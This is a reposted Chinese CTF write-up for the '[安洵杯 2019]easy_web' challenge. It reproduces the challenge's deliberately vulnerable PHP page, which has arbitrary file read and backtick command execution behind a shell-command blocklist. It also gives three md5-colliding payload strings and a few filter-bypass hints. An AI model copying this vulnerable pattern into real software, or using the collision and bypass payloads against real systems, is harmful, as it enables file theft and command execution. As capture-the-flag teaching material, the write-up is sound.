脚本宝典收集整理的这篇文章主要介绍了[安洵杯 2019]easy_web，脚本宝典觉得挺不错的，现在分享给大家，也给大家做个参考。

信息收集

X-Powered-By: PHP/7.1.33，php版本7.1 url get传递img参数，参数存在嵌套编码，先HEX，在两次base64编码，返回对应图片，可能存在文件包含漏洞

做题过程

尝试利用php伪协议读取源码,发现会被替换为初始img并且有提示： md5 is funny 无思路 看WP得知确实是文件包含漏洞，可读取index.php，但我编码出了问题所以没读出来，得到index.php如下

点击查看代码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

可利用cmd执行命令，需要POST两个md5相同但本身不同的字符串，md5很容易绕过，但$cmd过滤了很多命令，暂时不知道如何绕过； $s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"; $s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab"; $s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"; 这三个字符串的md5值都是相同的 命令绕过：ls可用dir代替,没有过滤"/",空格，直接ls,cat即可得到flag

脚本宝典总结

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